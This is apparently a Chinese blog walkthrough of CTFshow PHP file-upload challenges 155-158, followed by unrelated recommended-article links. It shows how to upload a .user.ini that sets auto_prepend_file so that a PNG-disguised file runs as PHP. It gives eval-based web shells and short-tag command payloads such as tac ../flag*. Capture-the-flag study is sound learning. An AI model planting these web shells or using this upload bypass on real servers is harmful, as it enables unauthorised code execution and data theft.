CTFshow web(php文件上传155-158)

web155

老样子,还是那个后端检测。

知识点:

auto_append_file 是 PHP 配置选项之一,在 PHP 脚本执行结束后自动追加执行指定的文件。

当 auto_append_file 配置被设置为一个文件路径时,PHP 将在执行完脚本文件的所有代码后,自动加载并执行指定的文件。

这个配置选项可以用来在每个 PHP 脚本的结尾处执行一些共享的代码逻辑,例如清理工作、记录日志或执行一些全局操作。这样,就不必在每个脚本中显式编写和调用相同的代码,而是通过配置 auto_append_file 来实现统一的处理。

使用方法如下:

打开 PHP 的配置文件 php.ini。

找到 auto_append_file 配置项。

将要追加执行的文件路径设置给 auto_append_file 配置项,例如:

auto_append_file = "/path/to/your/file.php"
保存文件并重启 PHP 服务。

在接下来的 PHP 脚本执行后,指定的文件将会被自动加载和执行。

实战:先上传 .user.ini 文件,里面写入

auto_prepend_file=111.png
(#上传时是 .user.png ,抓包修改为 .user.ini)

然后创建一个111.png文件,里面写入一句话木马<?php @eval($_POST["x"]); ?>

之后访问/upload/

这里发现在上传111.png时不行,看来是被过滤了,那就换个 <?=`tac ../flag*`木马就好了

<? echo 123;eval($_POST['x']); ?>

web156

还是上面的套路,只是在我尝试<? echo 123;eval($_POST['x']); ?>时[]又被禁止了,这里直接换成短标签木马:

<?=`tac ../flag*`

或者直接把[]换成{}也是可以的

其他还是不变

web157

其实不就多过滤了{}这个而已嘛,直接短标签木马上去就好了嘛

其他都和最初155一样

<?system('tac ../f*')?>

web156

上面的<?system('tac ../f*')?>还可以继续白嫖,那么这里我也不测试这道题目比之前多过滤了什么

真诚希望我的文章能够帮助大家,谢谢!

相关推荐
MapleLea1f4 分钟前
26届JAVA 学习日记——Day14
java·开发语言·学习·tcp/ip·程序人生·学习方法
小汤猿人类4 分钟前
SpringTask
开发语言·python
爪哇学长11 分钟前
解锁API的无限潜力:RESTful、SOAP、GraphQL和Webhooks的应用前景
java·开发语言·后端·restful·graphql
老赵的博客19 分钟前
QT 自定义界面布局要诀
开发语言·qt
p-knowledge35 分钟前
建造者模式(Builder Pattern)
java·开发语言·建造者模式
网络安全(king)41 分钟前
【Python】【持续项目】Python-安全项目搜集
开发语言·python·安全
工业甲酰苯胺42 分钟前
Python脚本消费多个Kafka topic
开发语言·python·kafka
麻花20131 小时前
C#之WPF的C1FlexGrid空间的行加载事件和列事件变更处理动态加载的枚举值
开发语言·c#·wpf
_黎明1 小时前
【Swift】字符串和字符
开发语言·ios·swift
聊无生2 小时前
JavaSrcipt 函数高级
开发语言·前端·javascript